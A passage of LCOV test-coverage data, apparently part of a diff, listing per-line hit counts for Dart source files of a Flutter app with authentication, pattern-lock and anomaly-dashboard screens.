+DA:3843,0 +DA:3844,0 +DA:3848,0 +DA:3849,0 +DA:3850,0 +DA:3854,0 +DA:3858,0 +DA:3859,0 +DA:3862,0 +DA:3863,0 +DA:3864,0 +DA:3865,0 +DA:3866,0 +DA:3867,0 +DA:3868,0 +DA:3873,0 +DA:3874,0 +DA:3876,0 +DA:3877,0 +DA:3878,0 +DA:3881,0 +DA:3882,0 +DA:3889,0 +DA:3892,0 +DA:3893,0 +DA:3895,0 +DA:3896,0 +DA:3901,0 +DA:3902,0 +DA:3903,0 +DA:3904,0 +DA:3905,0 +DA:3906,0 +DA:3908,0 +DA:3911,0 +DA:3913,0 +DA:3914,0 +DA:3917,0 +DA:3918,0 +DA:3919,0 +DA:3927,0 +DA:3929,0 +DA:3930,0 +DA:3931,0 +DA:3936,0 +DA:3937,0 +DA:3939,0 +DA:3940,0 +DA:3941,0 +DA:3947,0 +DA:3955,0 +DA:3956,0 +DA:3957,0 +DA:3958,0 +DA:3959,0 +DA:3967,0 +DA:3970,0 +DA:3971,0 +DA:3973,0 +DA:3974,0 +DA:3975,0 +DA:3976,0 +DA:3977,0 +DA:3982,0 +DA:3983,0 +DA:3984,0 +DA:3986,0 +DA:3988,0 +DA:3989,0 +DA:3990,0 +DA:3991,0 +DA:4004,0 +DA:4007,0 +DA:4009,0 +DA:4010,0 +DA:4011,0 +DA:4012,0 +DA:4013,0 +DA:4018,0 +DA:4020,0 +DA:4023,0 +DA:4024,0 +DA:4026,0 +DA:4028,0 +DA:4029,0 +DA:4030,0 +DA:4031,0 +DA:4032,0 +DA:4033,0 +DA:4036,0 +DA:4037,0 +DA:4038,0 +DA:4042,0 +DA:4049,0 +DA:4050,0 +DA:4054,0 +DA:4057,0 +DA:4058,0 +DA:4059,0 +DA:4060,0 +DA:4061,0 +DA:4067,0 +DA:4072,0 +DA:4073,0 +DA:4074,0 +DA:4079,0 +DA:4080,0 +DA:4081,0 +DA:4092,0 +DA:4093,0 +DA:4095,0 +DA:4097,0 +DA:4099,0 +DA:4102,0 +DA:4104,0 +DA:4105,0 +DA:4106,0 +DA:4108,0 +DA:4109,0 +DA:4110,0 +DA:4118,0 +DA:4119,0 +DA:4122,0 +DA:4123,0 +DA:4127,0 +DA:4129,0 +DA:4131,0 +DA:4132,0 +DA:4133,0 +DA:4135,0 +DA:4141,0 +DA:4144,0 +DA:4146,0 +DA:4147,0 +DA:4152,0 +DA:4154,0 +DA:4155,0 +DA:4156,0 +DA:4158,0 +DA:4159,0 +DA:4160,0 +DA:4162,0 +DA:4163,0 +DA:4164,0 +DA:4166,0 +DA:4167,0 +DA:4168,0 +DA:4170,0 +DA:4171,0 +DA:4175,0 +DA:4176,0 +DA:4177,0 +DA:4185,0 +DA:4186,0 +DA:4188,0 +DA:4190,0 +DA:4191,0 +DA:4193,0 +DA:4196,0 +DA:4198,0 +DA:4200,0 +DA:4201,0 +DA:4202,0 +DA:4206,0 +DA:4207,0 +DA:4208,0 +DA:4209,0 +DA:4219,0 +DA:4220,0 +DA:4221,0 +DA:4222,0 +DA:4225,0 +DA:4227,0 +DA:4228,0 +DA:4229,0 +DA:4231,0 +DA:4233,0 +DA:4237,0 +DA:4252,0 +DA:4254,0 +DA:4256,0 +DA:4264,0 +DA:4265,0 +DA:4272,0 +DA:4273,0 +DA:4280,0 +DA:4281,0 +DA:4285,1 +DA:4287,1 +DA:4288,0 +DA:4289,0 +DA:4294,1 +DA:4295,2 +DA:4298,0 +DA:4299,0 +DA:4300,0 +DA:4301,0 +DA:4303,0 +DA:4305,0 +DA:4306,0 +DA:4308,0 +DA:4309,0 +DA:4310,0 +DA:4316,1 +DA:4318,2 +DA:4319,2 +DA:4320,2 +DA:4321,1 +DA:4322,2 +DA:4323,1 +DA:4324,1 +DA:4325,2 +DA:4326,2 +DA:4327,1 +LF:1856 +LH:609 +end_of_record +SF:lib\theme_service.dart +DA:9,2 +DA:11,0 +DA:12,0 +DA:13,0 +DA:14,0 +DA:15,0 +DA:16,0 +DA:19,0 +DA:22,0 +DA:23,0 +DA:24,0 +DA:25,0 +DA:26,0 +LF:13 +LH:1 +end_of_record +SF:lib\anomaly_dashboard.dart +DA:9,0 +DA:11,0 +DA:12,0 +DA:42,0 +DA:44,0 +DA:45,0 +DA:46,0 +DA:49,0 +DA:50,0 +DA:55,0 +DA:56,0 +DA:57,0 +DA:63,0 +DA:64,0 +DA:65,0 +DA:66,0 +DA:67,0 +DA:68,0 +DA:69,0 +DA:74,0 +DA:75,0 +DA:76,0 +DA:77,0 +DA:82,0 +DA:83,0 +DA:89,0 +DA:90,0 +DA:91,0 +DA:92,0 +DA:93,0 +DA:94,0 +DA:95,0 +DA:97,0 +DA:98,0 +DA:99,0 +DA:108,0 +DA:110,0 +DA:112,0 +DA:115,0 +DA:121,0 +DA:122,0 +DA:124,0 +DA:125,0 +DA:127,0 +DA:128,0 +DA:130,0 +DA:133,0 +DA:134,0 +DA:135,0 +DA:136,0 +DA:137,0 +DA:142,0 +DA:144,0 +DA:145,0 +DA:146,0 +DA:147,0 +DA:148,0 +DA:149,0 +DA:150,0 +DA:151,0 +DA:157,0 +DA:158,0 +DA:159,0 +DA:160,0 +DA:161,0 +DA:162,0 +DA:163,0 +DA:164,0 +DA:165,0 +DA:166,0 +DA:168,0 +DA:169,0 +DA:170,0 +DA:172,0 +DA:174,0 +DA:182,0 +DA:185,0 +DA:190,0 +DA:191,0 +DA:192,0 +DA:194,0 +DA:195,0 +DA:196,0 +DA:203,0 +DA:205,0 +DA:206,0 +DA:207,0 +DA:209,0 +DA:212,0 +DA:214,0 +DA:215,0 +DA:252,0 +DA:253,0 +DA:254,0 +DA:255,0 +DA:256,0 +DA:257,0 +DA:259,0 +DA:262,0 +DA:263,0 +DA:264,0 +DA:268,0 +DA:269,0 +DA:271,0 +DA:272,0 +DA:273,0 +DA:274,0 +DA:275,0 +DA:277,0 +DA:279,0 +DA:282,0 +DA:286,0 +DA:288,0 +DA:289,0 +DA:290,0 +DA:292,0 +DA:293,0 +DA:304,0 +DA:305,0 +DA:306,0 +DA:309,0 +DA:312,0 +DA:314,0 +DA:317,0 +DA:320,0 +DA:328,0 +DA:329,0 +DA:330,0 +DA:332,0 +DA:334,0 +DA:335,0 +DA:337,0 +DA:338,0 +DA:339,0 +DA:340,0 +DA:341,0 +DA:348,0 +DA:350,0 +DA:363,0 +DA:364,0 +DA:366,0 +DA:367,0 +DA:368,0 +DA:369,0 +DA:371,0 +DA:372,0 +DA:373,0 +DA:374,0 +DA:379,0 +DA:380,0 +DA:382,0 +DA:383,0 +DA:384,0 +DA:385,0 +DA:394,0 +DA:400,0 +DA:402,0 +DA:403,0 +DA:405,0 +DA:408,0 +DA:409,0 +DA:410,0 +DA:414,0 +DA:416,0 +DA:418,0 +DA:419,0 +DA:420,0 +DA:421,0 +DA:423,0 +DA:425,0 +DA:426,0 +DA:427,0 +DA:429,0 +DA:430,0 +DA:438,0 +DA:450,0 +DA:451,0 +DA:453,0 +DA:454,0 +DA:457,0 +DA:459,0 +DA:460,0 +DA:461,0 +DA:462,0 +DA:467,0 +DA:468,0 +DA:470,0 +DA:472,0 +DA:473,0 +DA:474,0 +DA:475,0 +DA:479,0 +DA:480,0 +DA:481,0 +DA:482,0 +DA:484,0 +DA:486,0 +DA:487,0 +DA:488,0 +DA:489,0 +DA:491,0 +DA:492,0 +DA:493,0 +DA:495,0 +DA:496,0 +DA:497,0 +DA:502,0 +DA:503,0 +DA:505,0 +DA:506,0 +DA:507,0 +DA:516,0 +DA:517,0 +DA:518,0 +DA:520,0 +DA:521,0 +DA:522,0 +DA:529,0 +DA:530,0 +DA:531,0 +DA:536,0 +DA:537,0 +DA:538,0 +DA:540,0 +DA:541,0 +DA:550,0 +DA:551,0 +DA:552,0 +DA:554,0 +DA:555,0 +DA:556,0 +DA:564,0 +DA:565,0 +DA:566,0 +DA:568,0 +DA:569,0 +DA:570,0 +DA:577,0 +DA:578,0 +DA:579,0 +DA:580,0 +DA:583,0 +DA:584,0 +DA:587,0 +DA:588,0 +DA:589,0 +DA:590,0 +DA:592,0 +DA:593,0 +DA:594,0 +DA:607,0 +DA:608,0 +DA:610,0 +DA:611,0 +DA:612,0 +DA:614,0 +DA:615,0 +DA:616,0 +DA:619,0 +DA:625,0 +DA:626,0 +DA:627,0 +DA:629,0 +DA:630,0 +DA:632,0 +DA:634,0 +DA:635,0 +DA:640,0 +DA:641,0 +DA:644,0 +DA:645,0 +DA:646,0 +DA:647,0 +DA:651,0 +DA:652,0 +DA:654,0 +DA:655,0 +DA:656,0 +DA:657,0 +DA:658,0 +DA:663,0 +DA:664,0 +DA:674,0 +DA:675,0 +DA:676,0 +DA:677,0 +DA:678,0 +DA:679,0 +DA:680,0 +DA:681,0 +DA:683,0 +DA:686,0 +DA:687,0 +DA:688,0 +DA:689,0 +DA:691,0 +DA:692,0 +DA:693,0 +DA:695,0 +DA:696,0 +DA:697,0 +DA:702,0 +DA:703,0 +DA:705,0 +DA:706,0 +DA:707,0 +DA:714,0 +DA:719,0 +DA:720,0 +DA:721,0 +DA:723,0 +DA:724,0 +DA:735,0 +DA:736,0 +DA:738,0 +DA:740,0 +DA:742,0 +DA:746,0 +DA:748,0 +DA:750,0 +DA:752,0 +DA:754,0 +DA:756,0 +DA:758,0 +DA:760,0 +DA:762,0 +DA:764,0 +DA:766,0 +DA:768,0 +DA:769,0 +DA:771,0 +DA:773,0 +DA:776,0 +DA:780,0 +DA:781,0 +DA:783,0 +DA:784,0 +DA:785,0 +DA:790,0 +DA:791,0 +DA:793,0 +DA:794,0 +DA:795,0 +DA:796,0 +DA:798,0 +DA:799,0 +DA:808,0 +DA:809,0 +DA:822,0 +DA:823,0 +DA:825,0 +DA:826,0 +DA:828,0 +DA:830,0 +DA:833,0 +DA:834,0 +DA:835,0 +DA:839,0 +DA:840,0 +DA:842,0 +DA:844,0 +DA:852,0 +DA:853,0 +DA:854,0 +DA:855,0 +DA:856,0 +DA:857,0 +DA:858,0 +DA:859,0 +DA:860,0 +DA:861,0 +DA:862,0 +DA:864,0 +DA:865,0 +DA:867,0 +DA:868,0 +DA:869,0 +DA:870,0 +DA:873,0 +DA:874,0 +DA:877,0 +DA:878,0 +DA:879,0 +DA:880,0 +DA:885,0 +DA:886,0 +DA:887,0 +DA:890,0 +DA:891,0 +DA:892,0 +DA:893,0 +DA:895,0 +DA:896,0 +DA:903,0 +DA:914,0 +DA:916,0 +DA:917,0 +DA:919,0 +DA:920,0 +DA:922,0 +DA:923,0 +DA:928,0 +DA:929,0 +DA:930,0 +DA:939,0 +DA:940,0 +DA:941,0 +DA:942,0 +DA:943,0 +DA:945,0 +DA:946,0 +DA:947,0 +DA:948,0 +DA:949,0 +DA:952,0 +DA:953,0 +DA:961,0 +DA:962,0 +DA:963,0 +DA:964,0 +DA:966,0 +DA:968,0 +DA:975,0 +DA:980,0 +DA:981,0 +DA:982,0 +DA:985,0 +DA:986,0 +DA:987,0 +DA:995,0 +DA:1000,0 +DA:1002,0 +DA:1003,0 +DA:1004,0 +DA:1010,0 +DA:1011,0 +DA:1013,0 +DA:1014,0 +DA:1021,0 +DA:1023,0 +DA:1025,0 +DA:1026,0 +DA:1027,0 +DA:1038,0 +DA:1039,0 +DA:1040,0 +DA:1041,0 +DA:1043,0 +DA:1044,0 +DA:1047,0 +DA:1053,0 +DA:1056,0 +DA:1058,0 +DA:1061,0 +DA:1063,0 +DA:1066,0 +DA:1068,0 +DA:1071,0 +DA:1088,0 +DA:1089,0 +DA:1090,0 +DA:1098,0 +DA:1099,0 +DA:1101,0 +DA:1102,0 +DA:1103,0 +DA:1105,0 +DA:1107,0 +DA:1109,0 +DA:1119,0 +DA:1120,0 +DA:1127,0 +DA:1129,0 +DA:1130,0 +DA:1131,0 +LF:475 +LH:0 +end_of_record +SF:lib\auth\auth_wrapper.dart +DA:8,1 +DA:10,1 +DA:11,1 +DA:17,1 +DA:19,1 +DA:20,2 +DA:21,3 +DA:22,1 +DA:25,1 +DA:27,2 +DA:28,1 +DA:31,1 +DA:32,2 +DA:35,0 +DA:37,0 +DA:40,0 +DA:41,0 +DA:43,0 +DA:45,0 +DA:47,0 +DA:49,0 +DA:57,1 +DA:59,1 +DA:60,1 +DA:62,2 +DA:63,2 +DA:68,2 +DA:69,2 +DA:81,1 +DA:83,1 +DA:85,1 +DA:86,3 +DA:87,1 +DA:88,1 +DA:90,1 +DA:91,1 +DA:93,1 +DA:94,3 +DA:95,1 +DA:97,1 +DA:100,3 +DA:104,1 +DA:106,1 +DA:109,3 +DA:113,1 +DA:115,1 +DA:117,4 +DA:121,1 +DA:123,1 +DA:125,4 +DA:129,1 +DA:132,1 +DA:134,1 +DA:135,3 +LF:54 +LH:46 +end_of_record +SF:lib\auth\login_screen.dart +DA:8,1 +DA:10,0 +DA:11,0 +DA:23,0 +DA:25,0 +DA:26,0 +DA:27,0 +DA:30,0 +DA:32,0 +DA:33,0 +DA:34,0 +DA:35,0 +DA:38,0 +DA:39,0 +DA:40,0 +DA:41,0 +DA:42,0 +DA:46,0 +DA:47,0 +DA:49,0 +DA:51,0 +DA:53,0 +DA:56,0 +DA:58,0 +DA:59,0 +DA:60,0 +DA:64,0 +DA:65,0 +DA:67,0 +DA:69,0 +DA:71,0 +DA:74,0 +DA:76,0 +DA:77,0 +DA:78,0 +DA:82,0 +DA:83,0 +DA:85,0 +DA:86,0 +DA:90,0 +DA:92,0 +DA:94,0 +DA:97,0 +DA:99,0 +DA:100,0 +DA:101,0 +DA:105,0 +DA:106,0 +DA:108,0 +DA:110,0 +DA:112,0 +DA:115,0 +DA:119,0 +DA:120,0 +DA:121,0 +DA:122,0 +DA:123,0 +DA:126,0 +DA:131,0 +DA:137,0 +DA:139,0 +DA:140,0 +DA:141,0 +DA:142,0 +DA:145,0 +DA:146,0 +DA:147,0 +DA:148,0 +DA:149,0 +DA:150,0 +DA:151,0 +DA:160,0 +DA:161,0 +DA:163,0 +DA:164,0 +DA:165,0 +DA:166,0 +DA:167,0 +DA:169,0 +DA:171,0 +DA:172,0 +DA:175,0 +DA:178,0 +DA:180,0 +DA:183,0 +DA:187,0 +DA:189,0 +DA:191,0 +DA:197,0 +DA:199,0 +DA:200,0 +DA:201,0 +DA:202,0 +DA:204,0 +DA:205,0 +DA:206,0 +DA:209,0 +DA:222,0 +DA:223,0 +DA:225,0 +DA:226,0 +DA:227,0 +DA:229,0 +DA:230,0 +DA:231,0 +DA:233,0 +DA:236,0 +DA:240,0 +DA:242,0 +DA:245,0 +DA:249,0 +DA:251,0 +DA:253,0 +DA:261,0 +DA:262,0 +DA:263,0 +DA:264,0 +DA:265,0 +DA:266,0 +DA:267,0 +DA:268,0 +DA:269,0 +DA:270,0 +DA:272,0 +DA:276,0 +DA:277,0 +DA:279,0 +DA:280,0 +DA:281,0 +DA:283,0 +DA:286,0 +DA:290,0 +DA:291,0 +DA:297,0 +DA:300,0 +DA:301,0 +DA:302,0 +DA:308,0 +DA:311,0 +DA:313,0 +DA:314,0 +DA:315,0 +DA:316,0 +DA:319,0 +DA:320,0 +DA:323,0 +DA:336,0 +DA:337,0 +DA:338,0 +DA:341,0 +DA:350,0 +DA:351,0 +DA:353,0 +DA:354,0 +DA:355,0 +DA:357,0 +DA:360,0 +DA:364,0 +DA:365,0 +DA:366,0 +DA:367,0 +DA:370,0 +DA:371,0 +DA:372,0 +DA:376,0 +DA:377,0 +DA:378,0 +DA:381,0 +DA:384,0 +DA:386,0 +DA:387,0 +DA:388,0 +DA:389,0 +DA:392,0 +DA:393,0 +DA:396,0 +DA:409,0 +DA:410,0 +DA:411,0 +DA:414,0 +DA:423,0 +DA:424,0 +DA:426,0 +DA:427,0 +DA:428,0 +DA:430,0 +DA:433,0 +DA:437,0 +DA:438,0 +DA:439,0 +DA:440,0 +DA:441,0 +DA:442,0 +DA:444,0 +DA:449,0 +DA:451,0 +DA:452,0 +DA:453,0 +DA:454,0 +DA:457,0 +DA:458,0 +DA:461,0 +DA:474,0 +DA:475,0 +DA:476,0 +DA:479,0 +DA:488,0 +DA:489,0 +DA:491,0 +DA:492,0 +DA:493,0 +DA:496,0 +DA:499,0 +DA:501,0 +DA:504,0 +DA:508,0 +DA:510,0 +DA:512,0 +DA:517,0 +DA:519,0 +DA:520,0 +DA:521,0 +DA:522,0 +DA:525,0 +DA:526,0 +DA:533,0 +DA:534,0 +DA:535,0 +DA:536,0 +LF:229 +LH:1 +end_of_record +SF:lib\auth\widgets\pattern_widget.dart +DA:10,0 +DA:18,0 +DA:19,0 +DA:28,0 +DA:30,0 +DA:31,0 +DA:34,0 +DA:36,0 +DA:37,0 +DA:38,0 +DA:40,0 +DA:43,0 +DA:44,0 +DA:45,0 +DA:46,0 +DA:47,0 +DA:48,0 +DA:49,0 +DA:50,0 +DA:51,0 +DA:52,0 +DA:53,0 +DA:55,0 +DA:63,0 +DA:64,0 +DA:65,0 +DA:66,0 +DA:67,0 +DA:68,0 +DA:69,0 +DA:73,0 +DA:74,0 +DA:75,0 +DA:76,0 +DA:80,0 +DA:81,0 +DA:82,0 +DA:83,0 +DA:86,0 +DA:88,0 +DA:89,0 +DA:93,0 +DA:94,0 +DA:96,0 +DA:98,0 +DA:99,0 +DA:100,0 +DA:101,0 +DA:102,0 +DA:108,0 +DA:111,0 +DA:112,0 +DA:113,0 +DA:114,0 +DA:128,0 +DA:136,0 +DA:139,0 +DA:140,0 +DA:144,0 +DA:147,0 +DA:150,0 +DA:151,0 +DA:153,0 +DA:155,0 +DA:156,0 +DA:157,0 +DA:158,0 +DA:159,0 +DA:165,0 +DA:166,0 +DA:168,0 +DA:169,0 +DA:170,0 +DA:171,0 +DA:174,0 +DA:175,0 +DA:176,0 +DA:177,0 +DA:181,0 +DA:182,0 +DA:183,0 +DA:187,0 +DA:188,0 +DA:189,0 +DA:190,0 +DA:193,0 +DA:194,0 +DA:195,0 +DA:196,0 +DA:198,0 +DA:202,0 +DA:203,0 +DA:204,0 +DA:206,0 +DA:209,0 +DA:210,0 +DA:211,0 +DA:221,0 +DA:222,0 +DA:224,0 +DA:225,0 +DA:226,0 +DA:230,0 +DA:231,0 +DA:232,0 +DA:234,0 +DA:239,0 +LF:107 +LH:0 +end_of_record +SF:lib\auth\setup_auth_screen.dart +DA:7,1 +DA:9,0 +DA:10,0 +DA:27,0 +DA:29,0 +DA:30,0 +DA:33,0 +DA:35,0 +DA:36,0 +DA:37,0 +DA:38,0 +DA:39,0 +DA:40,0 +DA:43,0 +DA:44,0 +DA:45,0 +DA:49,0 +DA:50,0 +DA:54,0 +DA:56,0 +DA:57,0 +DA:59,0 +DA:62,0 +DA:64,0 +DA:68,0 +DA:69,0 +DA:70,0 +DA:74,0 +DA:75,0 +DA:79,0 +DA:81,0 +DA:82,0 +DA:84,0 +DA:87,0 +DA:89,0 +DA:93,0 +DA:94,0 +DA:95,0 +DA:96,0 +DA:99,0 +DA:103,0 +DA:104,0 +DA:105,0 +DA:106,0 +DA:107,0 +DA:112,0 +DA:114,0 +DA:115,0 +DA:117,0 +DA:120,0 +DA:122,0 +DA:126,0 +DA:127,0 +DA:128,0 +DA:129,0 +DA:132,0 +DA:136,0 +DA:137,0 +DA:138,0 +DA:149,0 +DA:150,0 +DA:151,0 +DA:152,0 +DA:153,0 +DA:157,0 +DA:158,0 +DA:159,0 +DA:160,0 +DA:161,0 +DA:162,0 +DA:171,0 +DA:172,0 +DA:173,0 +DA:174,0 +DA:175,0 +DA:178,0 +DA:183,0 +DA:189,0 +DA:191,0 +DA:192,0 +DA:193,0 +DA:195,0 +DA:197,0 +DA:199,0 +DA:202,0 +DA:203,0 +DA:204,0 +DA:206,0 +DA:207,0 +DA:208,0 +DA:210,0 +DA:211,0 +DA:212,0 +DA:213,0 +DA:214,0 +DA:217,0 +DA:226,0 +DA:227,0 +DA:228,0 +DA:229,0 +DA:230,0 +DA:231,0 +DA:232,0 +DA:241,0 +DA:242,0 +DA:244,0 +DA:246,0 +DA:247,0 +DA:249,0 +DA:252,0 +DA:256,0 +DA:258,0 +DA:260,0 +DA:264,0 +DA:265,0 +DA:269,0 +DA:273,0 +DA:274,0 +DA:275,0 +DA:282,0 +DA:283,0 +DA:287,0 +DA:291,0 +DA:292,0 +DA:293,0 +DA:300,0 +DA:302,0 +DA:303,0 +DA:304,0 +DA:305,0 +DA:308,0 +DA:309,0 +DA:312,0 +DA:329,0 +DA:330,0 +DA:332,0 +DA:334,0 +DA:335,0 +DA:337,0 +DA:340,0 +DA:344,0 +DA:346,0 +DA:348,0 +DA:352,0 +DA:353,0 +DA:354,0 +DA:355,0 +DA:359,0 +DA:360,0 +DA:361,0 +DA:364,0 +DA:365,0 +DA:366,0 +DA:371,0 +DA:372,0 +DA:373,0 +DA:374,0 +DA:378,0 +DA:379,0 +DA:380,0 +DA:383,0 +DA:384,0 +DA:385,0 +DA:390,0 +DA:392,0 +DA:393,0 +DA:394,0 +DA:395,0 +DA:398,0 +DA:399,0 +DA:402,0 +DA:419,0 +DA:420,0 +DA:422,0 +DA:424,0 +DA:425,0 +DA:426,0 +DA:427,0 +DA:430,0 +DA:434,0 +DA:435,0 +DA:438,0 +DA:440,0 +DA:444,0 +DA:445,0 +DA:446,0 +DA:447,0 +DA:448,0 +DA:449,0 +DA:450,0 +DA:451,0 +DA:453,0 +DA:462,0 +DA:464,0 +DA:465,0 +DA:466,0 +DA:467,0 +DA:469,0 +DA:470,0 +DA:471,0 +DA:474,0 +DA:475,0 +DA:478,0 +DA:487,0 +DA:488,0 +DA:493,0 +DA:494,0 +DA:496,0 +DA:498,0 +DA:499,0 +DA:500,0 +DA:501,0 +DA:502,0 +LF:213 +LH:1 +end_of_record +SF:lib\enhanced_ui_components.dart +DA:11,0 +DA:13,0 +DA:15,0 +DA:16,0 +DA:17,0 +DA:19,0 +DA:21,0 +DA:22,0 +DA:23,0 +DA:24,0 +DA:25,0 +DA:26,0 +DA:27,0 +DA:28,0 +DA:31,0 +DA:32,0 +DA:33,0 +DA:34,0 +DA:36,0 +DA:38,0 +DA:40,0 +DA:41,0 +DA:43,0 +DA:48,0 +DA:49,0 +DA:50,0 +DA:51,0 +DA:53,0 +DA:55,0 +DA:56,0 +DA:57,0 +DA:62,0 +DA:63,0 +DA:64,0 +DA:77,0 +DA:82,0 +DA:83,0 +DA:84,0 +DA:86,0 +DA:88,0 +DA:89,0 +DA:90,0 +DA:94,0 +DA:97,0 +DA:98,0 +DA:99,0 +DA:102,0 +DA:110,0 +DA:112,0 +DA:117,0 +DA:118,0 +DA:120,0 +DA:121,0 +DA:122,0 +DA:123,0 +DA:126,0 +DA:128,0 +DA:129,0 +DA:130,0 +DA:132,0 +DA:135,0 +DA:136,0 +DA:137,0 +DA:140,0 +DA:150,0 +DA:151,0 +DA:152,0 +DA:154,0 +DA:159,0 +DA:160,0 +DA:161,0 +DA:162,0 +DA:186,0 +DA:189,0 +DA:190,0 +DA:191,0 +DA:193,0 +DA:195,0 +DA:205,0 +DA:206,0 +DA:208,0 +DA:209,0 +DA:210,0 +DA:213,0 +DA:216,0 +DA:217,0 +DA:218,0 +DA:219,0 +DA:222,0 +DA:232,0 +DA:233,0 +DA:235,0 +DA:236,0 +DA:237,0 +DA:240,0 +DA:243,0 +DA:244,0 +DA:245,0 +DA:246,0 +DA:249,0 +DA:254,0 +DA:255,0 +DA:256,0 +DA:257,0 +DA:259,0 +DA:267,0 +DA:268,0 +DA:276,0 +DA:279,0 +DA:280,0 +DA:282,0 +DA:287,0 +DA:288,0 +DA:289,0 +DA:291,0 +DA:293,0 +DA:294,0 +DA:296,0 +DA:297,0 +DA:309,0 +DA:311,0 +DA:316,0 +DA:317,0 +DA:318,0 +DA:319,0 +DA:321,0 +DA:322,0 +DA:333,0 +DA:334,0 +DA:336,0 +DA:341,0 +DA:342,0 +DA:343,0 +DA:344,0 +DA:346,0 +DA:347,0 +DA:358,0 +DA:359,0 +DA:361,0 +DA:366,0 +DA:367,0 +DA:370,0 +DA:371,0 +DA:372,0 +DA:373,0 +DA:378,0 +DA:379,0 +DA:380,0 +DA:382,0 +DA:391,0 +DA:394,0 +DA:397,0 +DA:408,0 +DA:409,0 +DA:410,0 +DA:412,0 +DA:414,0 +DA:416,0 +DA:417,0 +DA:419,0 +DA:421,0 +DA:423,0 +DA:425,0 +DA:427,0 +DA:429,0 +DA:431,0 +DA:438,0 +DA:439,0 +DA:440,0 +DA:441,0 +DA:443,0 +DA:445,0 +DA:446,0 +DA:448,0 +DA:450,0 +DA:452,0 +DA:454,0 +DA:456,0 +DA:458,0 +DA:460,0 +DA:467,0 +DA:469,0 +DA:470,0 +DA:471,0 +DA:472,0 +DA:473,0 +DA:474,0 +DA:478,0 +DA:479,0 +DA:484,0 +DA:486,0 +DA:488,0 +DA:490,0 +DA:491,0 +DA:497,0 +DA:499,0 +DA:501,0 +DA:503,0 +DA:510,0 +DA:512,0 +DA:514,0 +DA:516,0 +DA:523,0 +DA:524,0 +DA:525,0 +DA:526,0 +DA:530,0 +DA:531,0 +DA:533,0 +DA:543,0 +DA:545,0 +DA:547,0 +DA:555,0 +DA:557,0 +DA:558,0 +DA:559,0 +DA:560,0 +DA:561,0 +DA:562,0 +DA:564,0 +DA:566,0 +DA:567,0 +DA:568,0 +DA:569,0 +DA:571,0 +DA:573,0 +DA:574,0 +DA:576,0 +DA:578,0 +DA:580,0 +DA:582,0 +DA:593,0 +DA:594,0 +DA:595,0 +DA:597,0 +DA:599,0 +DA:600,0 +DA:601,0 +DA:610,0 +DA:611,0 +DA:612,0 +DA:614,0 +DA:615,0 +DA:616,0 +DA:618,0 +DA:619,0 +DA:625,0 +DA:626,0 +DA:628,0 +DA:629,0 +DA:637,0 +DA:638,0 +DA:639,0 +DA:640,0 +DA:647,0 +DA:648,0 +DA:650,0 +DA:651,0 +DA:652,0 +DA:654,0 +DA:655,0 +DA:664,0 +DA:666,0 +DA:673,0 +DA:674,0 +DA:675,0 +DA:677,0 +DA:681,0 +DA:682,0 +DA:683,0 +DA:685,0 +DA:686,0 +DA:688,0 +DA:690,0 +DA:693,0 +DA:694,0 +DA:695,0 +DA:697,0 +DA:702,0 +DA:703,0 +DA:705,0 +DA:706,0 +DA:712,0 +DA:713,0 +DA:714,0 +DA:715,0 +DA:717,0 +DA:718,0 +DA:720,0 +DA:721,0 +DA:722,0 +DA:723,0 +DA:725,0 +DA:727,0 +DA:729,0 +DA:731,0 +DA:733,0 +DA:735,0 +DA:736,0 +DA:737,0 +DA:738,0 +DA:739,0 +DA:743,0 +DA:744,0 +DA:746,0 +DA:750,0 +DA:754,0 +DA:755,0 +DA:759,0 +DA:760,0 +DA:764,0 +DA:766,0 +DA:767,0 +DA:768,0 +DA:769,0 +DA:771,0 +DA:774,0 +DA:778,0 +DA:779,0 +DA:780,0 +DA:781,0 +DA:783,0 +DA:785,0 +DA:786,0 +DA:787,0 +DA:789,0 +DA:790,0 +DA:791,0 +DA:792,0 +DA:796,0 +DA:798,0 +DA:799,0 +DA:800,0 +DA:801,0 +DA:804,0 +DA:806,0 +DA:807,0 +DA:808,0 +DA:809,0 +DA:818,0 +DA:820,0 +DA:821,0 +DA:823,0 +DA:824,0 +DA:826,0 +DA:828,0 +DA:829,0 +DA:830,0 +DA:831,0 +DA:833,0 +DA:834,0 +DA:843,0 +DA:845,0 +DA:847,0 +DA:848,0 +DA:850,0 +DA:852,0 +DA:853,0 +DA:854,0 +DA:855,0 +DA:856,0 +DA:857,0 +DA:874,0 +DA:875,0 +DA:881,0 +DA:883,0 +DA:884,0 +DA:886,0 +DA:889,0 +DA:893,0 +DA:894,0 +DA:896,0 +DA:897,0 +DA:898,0 +DA:901,0 +DA:902,0 +DA:908,0 +DA:909,0 +DA:911,0 +DA:912,0 +DA:913,0 +DA:914,0 +DA:916,0 +DA:918,0 +DA:924,0 +DA:930,0 +DA:931,0 +DA:933,0 +DA:934,0 +DA:935,0 +DA:936,0 +DA:938,0 +DA:940,0 +DA:946,0 +DA:952,0 +DA:953,0 +DA:955,0 +DA:956,0 +DA:957,0 +DA:958,0 +DA:960,0 +DA:962,0 +DA:968,0 +DA:970,0 +DA:972,0 +DA:974,0 +DA:981,0 +DA:982,0 +DA:985,0 +DA:987,0 +DA:988,0 +DA:990,0 +DA:991,0 +DA:992,0 +DA:994,0 +DA:995,0 +DA:996,0 +DA:1000,0 +DA:1001,0 +DA:1002,0 +DA:1009,0 +DA:1010,0 +DA:1013,0 +DA:1015,0 +DA:1016,0 +DA:1018,0 +DA:1019,0 +DA:1020,0 +DA:1022,0 +DA:1023,0 +DA:1024,0 +DA:1028,0 +DA:1029,0 +DA:1030,0 +DA:1037,0 +DA:1042,0 +DA:1044,0 +DA:1045,0 +DA:1047,0 +DA:1050,0 +DA:1054,0 +DA:1056,0 +DA:1057,0 +DA:1059,0 +DA:1060,0 +DA:1062,0 +DA:1071,0 +DA:1072,0 +DA:1074,0 +DA:1076,0 +DA:1077,0 +DA:1079,0 +DA:1080,0 +DA:1084,0 +DA:1085,0 +DA:1087,0 +DA:1096,0 +DA:1098,0 +DA:1099,0 +DA:1101,0 +DA:1103,0 +DA:1105,0 +DA:1107,0 +DA:1109,0 +DA:1111,0 +DA:1113,0 +DA:1115,0 +DA:1122,0 +DA:1124,0 +DA:1125,0 +DA:1127,0 +DA:1129,0 +DA:1131,0 +DA:1133,0 +DA:1135,0 +DA:1137,0 +DA:1139,0 +DA:1146,0 +DA:1147,0 +DA:1148,0 +DA:1149,0 +DA:1150,0 +DA:1152,0 +DA:1153,0 +DA:1158,0 +DA:1160,0 +DA:1162,0 +DA:1169,0 +DA:1171,0 +DA:1173,0 +DA:1180,0 +DA:1182,0 +DA:1184,0 +DA:1191,0 +DA:1192,0 